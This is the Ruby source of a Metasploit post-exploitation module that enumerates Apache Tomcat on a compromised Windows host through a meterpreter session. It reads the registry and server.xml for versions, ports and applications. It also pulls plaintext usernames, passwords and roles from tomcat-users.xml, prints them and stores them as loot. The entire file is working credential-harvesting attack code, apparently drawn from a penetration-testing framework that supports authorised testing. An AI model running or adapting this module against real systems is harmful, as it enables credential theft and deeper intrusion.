##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Apache Tomcat Enumeration',
'Description' => %q{
This module will collect information from a Windows-based Apache Tomcat. You will get
information such as: The installation path, Tomcat version, port, web applications,
users, passwords, roles, etc.
},
'License' => MSF_LICENSE,
'Author' => [
'Barry Shteiman <barry[at]sectorix.com>', # Module author
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
end
# method called when command run is issued
def run
installs = []
results = []
users = []
print_status("Enumerating Tomcat Servers on #{sysinfo['Computer']}")
if check_tomcat
installs += identify_registry
if !installs.empty?
installs.each do |inst|
results += enumerate_tomcat(inst[0], inst[1])
users += enumerate_tomcat_creds(inst[0])
end
else
print_status('Done, Tomcat Not Found')
return
end
end
if results.empty?
print_status('Done, Tomcat Not Found')
return
end
print_status('Done, Tomcat Found.')
tbl_services = Rex::Text::Table.new(
'Header' => 'Tomcat Applications ',
'Indent' => 1,
'Columns' =>
[
'Host',
'Tomcat Version',
'Port',
'Web Application'
]
)
results.each do |r|
report_service(host: session.sock.peerhost, port: r[2], name: 'http', info: "#{r[0]} Tomcat #{r[1]}, Application:#{r[3]}")
tbl_services << r
end
tbl_users = Rex::Text::Table.new(
'Header' => 'Tomcat Server Users ',
'Indent' => 1,
'Columns' =>
[
'Host',
'User',
'Password',
'Roles'
]
)
users.each do |u|
tbl_users << [ session.sock.peerhost, u[0], u[1], u[2] ]
end
print_line
print_line(tbl_services.to_s)
print_line(tbl_users.to_s)
p = store_loot('host.webservers.tomcat', 'text/plain', session, tbl_services.to_s + "\n" + tbl_users.to_s, 'tomcat.txt', 'Tomcat Server Enum')
print_good("Results stored in: #{p}")
end
### initial identification methods ###
# method for checking if webserver is installed on server - tomcat
def check_tomcat
key = 'HKLM\\SOFTWARE\\Apache Software Foundation'
if registry_enumkeys(key).include?('Tomcat')
print_status("\tTomcat found.")
return true
end
return false
rescue StandardError
return false
end
### deep server enumeration methods ###
# enumerate tomcat
def enumerate_tomcat(val_installpath, val_version)
results = []
found = false
print_good("\t\t+ Version: #{val_version}")
print_good("\t\t+ Path: #{val_installpath}")
if !exist?(val_installpath + '\\conf\\server.xml')
print_error("\t\t! tomcat configuration not found")
return results
end
appname = find_application_name(val_installpath)
ports = []
xml_data = read_file(val_installpath + '\\conf\\server.xml')
doc = REXML::Document.new(xml_data)
doc.elements.each('Server/Service/Connector') do |e|
ports << e.attributes['port']
end
ports.uniq.each do |p|
print_good("\t\t+ Port: #{p}")
found = true
results << [session.sock.peerhost, val_version.to_s, p, appname]
end
if found
print_good("\t\t+ Application: [#{appname}]")
else
print_error("\t\t! port not found")
end
return results
rescue StandardError
print_error("\t\t! could not identify information")
return results || []
end
# enumerate tomcat users from its user base
def enumerate_tomcat_creds(val_installpath)
users = []
userpath = val_installpath + '\\conf\\tomcat-users.xml'
if exist?(userpath)
xml_data = read_file(userpath)
doc = REXML::Document.new(xml_data)
if !doc.elements.empty?
doc.elements.each('tomcat-users/user') do |e|
e_user = e.attributes['name']
if !e_user.empty?
e_user = e.attributes['name']
else
e.user = e_user = e.attributes['username']
end
users << [ e_user, e.attributes['password'], e.attributes['roles'] ]
print_good("\t\t+ User:[#{e_user}] Pass:[#{e.attributes['password']}] Roles:[#{e.attributes['roles']}]")
end
else
print_error("\t\t! No Users Found")
return users
end
end
return users
rescue StandardError
print_error("\t\t! could not identify users")
return users || []
end
### helper functions ###
# this method identifies the correct registry path to tomcat details, and returns [path,version]
def identify_registry
values = []
basekey = 'HKLM\\SOFTWARE\\Apache Software Foundation\\Tomcat'
instances = registry_enumkeys(basekey)
if !instances.nil? && !instances.empty?
instances.each do |i|
major_version_key = "#{basekey}\\#{i}"
services = registry_enumkeys(major_version_key)
if services.empty?
val_installpath = registry_getvaldata(major_version_key, 'InstallPath')
val_version = registry_getvaldata(major_version_key, 'Version')
values << [val_installpath, val_version]
else
services.each do |s|
service_key = "#{major_version_key}\\#{s}"
val_installpath = registry_getvaldata(service_key, 'InstallPath')
val_version = registry_getvaldata(service_key, 'Version')
values << [val_installpath, val_version]
end
end
end
end
return values
rescue StandardError
print_error("\t\t! failed to locate install path")
return nil || []
end
# this function extracts the application name from the main page of the web application
def find_application_name(val_installpath)
index_file = ['index.html', 'index.htm', 'index.php', 'index.jsp', 'index.asp']
path = val_installpath + '\\webapps'
if !directory?(path + '\\ROOT')
print_error("\t\t! expected directory wasnt found")
return 'Unknown'
end
index_file.each do |i|
if !exist?("#{path}\\ROOT\\#{i}")
next
end
data = read_file(path + "\\ROOT\\#{i}")
if data =~ %r{(?i)<title>([^<]+)</title>}
return ::Regexp.last_match(1)
elsif data =~ %r{(?i)onload="?document\.location=['"]?([/\w\d]+)['"]?"?}
# look for redirect as name
return ::Regexp.last_match(1).gsub('/', '')
end
end
return 'Unknown'
rescue StandardError
print_error("\t\t! could not identify application name")
return 'Unknown'
end
end
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